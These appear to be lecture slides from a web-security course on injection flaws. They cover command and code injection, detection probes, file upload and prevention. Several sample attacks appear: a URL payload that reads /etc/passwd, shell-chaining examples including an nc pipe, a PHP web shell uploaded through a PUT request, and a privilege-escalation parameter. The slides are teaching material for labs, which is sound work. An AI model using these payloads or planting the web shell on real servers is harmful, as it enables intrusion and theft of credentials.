A1 (Part 1): Injection
Command and Code injection
A1 – Injection

- Tricking an application into executing commands or code embedded in data
  - Data and code mixing!
- Often injected into interpreters
  - SQL, PHP, Python, JavaScript, LDAP, /bin/sh
  - Still widely prevalent
- Impact severe
  - Entire database and schema can be read or modified
  - Account access and even OS level access possible
A1 – Injection vulnerability

- Shared underlying problem: Breaking syntax
  - Breaking the syntax of a PHP, Python, or JavaScript script, in order to inject OS commands or rogue script/program code
  - Breaking the syntax of an SQL statement, in order to inject SQL code. (SQL Injection)
  - Breaking the syntax of an HTML page, in order to inject JavaScript code (Cross-Site Scripting).

- Fuzz site with different characters and look for interpreter errors
Command injection

- Most web servers run on Linux/Unix
- Web application code can drop into a shell to execute commands
  - From PHP `system()`, `eval()` or Python `os.system()`, `eval()`
  - If `eval()` or `system()` call in code uses any untrusted or unvalidated input (i.e. input that adversary controls), command injection can occur
- Example exploitations
  - Run arbitrary commands directly
    - Interactive shell (`/bin/sh`) or reverse-shell (`nc`)
  - Access sensitive files via commands `cat` or `grep`
    - On Linux, `/etc/passwd` `/etc/shadow`
    - In natas, `/etc/natas_webpass`
Example: Command injection

```php
<?php
    $cmd = "echo " . $_GET['name'];
    system($cmd);
?>

http://foo.com/echo.php?name=foo

- What might this URL do?
  - http://foo.com/echo.php?name=foo; cat/etc/passwd
- Potential solution: filter all semi-colons!
- Is it that simple?
- Linux command-line injection syntactical techniques
  - Semicolons
    cd /etc; cat passwd
  - Backticks
    `ls`
  - Pipes
    ls | nc -l 8080
  - Logical expressions
    ls && cat /etc/passwd
  - Subshells
    (cd /tmp; tar xpf foo.tar)
    echo $(cat /etc/passwd)
Code injection

- Similar to command injection, but injecting into program itself
- Pattern
  
  \[[\text{CODE}] \ [\text{SEPARATOR}] \ [\text{USER INPUT}] \ [\text{SEPARATOR}] \ [\text{CODE}]\]
  
  - where \([\text{USER INPUT}]\) is from adversary
- Use \([\text{USER INPUT}]\) to inject arbitrary code
  
  - Break syntax by injecting a \([\text{SEPARATOR}]\)
  - Inject \([\text{MALICIOUS_CODE}]\), then inject either
    
    - A \([\text{SEPARATOR}]\) to fix syntax
    
    \[[\text{CODE}] \ [\text{SEPARATOR}] \ [\text{SEPARATOR}] \ [\text{MALICIOUS_CODE}] \ [\text{SEPARATOR}] \ [\text{CODE}]\]
    
    - Or a \([\text{COMMENT}]\) to remove rest of line
    
    \[[\text{CODE}] \ [\text{SEPARATOR}] \ [\text{SEPARATOR}] \ [\text{MALICIOUS_CODE}] \ [\text{COMMENT}] \ [\text{SEPARATOR}] \ [\text{CODE}]\]
  
  - Separator dependent upon context of injection (HTML, SQL, PHP)
    
    - Often a single-quote, a double-quote, a backtick, or a semi-colon
      
      ‘ “ ’ ‘ ` ’ ;
    
    - Comment characters also dependent upon context of injection
      
      -- # //
  
- Inject each and observe responses to detect if injection possible

https://github.com/minimaxir/big-list-of-naughty-strings
Example: Detecting code injection

- **PHP**
  - Inject comment
    ```
    /* random number */
    ```
    - If random number does not appear, code injection has occurred
  - Inject comment
    ```
    //
    ```
    - If rest of the line in program is removed, a program error is likely
  - Inject string concatenation to break and reform syntax
    ```
    " . "ha"."cker"."
    ```
    - If hacker string appears, code injection has occurred
  - Inject sleep commands
    ```
    sleep(10)
    ```
    - If delay observed, code injection has occurred
  - Can then inject calls to `system()` or other code that is then eval’d
Example: Code injection via Upload

- HTTP PUT or POST method that creates a file on server (e.g. image upload)
  - WFP1: File Upload
  - Upload malicious scripts and that are subsequently accessed by adversary
- Example web shell

```bash
$ nc victim 80
PUT /upload.php HTTP/1.0
Content-type: text.html
Content-length: 130

<?php
    if (isset($_GET['cmd']))
    {
        $cmd = $_GET['cmd'];
        echo '<pre>';
        $result = shell_exec($cmd);
        echo $result;
        echo '</pre>';
    }
?>
```
Example: Code injection via form data

- Form data used directly to set web application variables dangerous
  - Never perform automatic request to object mapping to
    - Set program variables directly
    - Set database entries directly
  - Example: user[name]=louis&user[group]=1
    - Intended to create user array and set attribute name set to ‘louis’ and attribute group to 1
  - Can be exploited.
    - Add user[admin]=1 to the request and see if your user gets administrator privileges.
A1 (Part 1): Prevention
Input validation and encoding

- Filtering
  - Remove all code tags from user-input before using

- Encoding
  - Encode all user input before passing it to an interpreter or eval statement
  - All characters that would break syntax of target interpreter are encoded into something innocuous
  - Based on language of interpreter
Lower privileges

- Run web-server with reduced privilege levels
- Sandbox execution
  - chroot, BSD jails, Linux seccomp, containers (e.g. LXC, Docker)
  - Run server in a Virtual Machine
Labs

- See handout
- No regular HW
Questions

- https://sayat.me/wu4f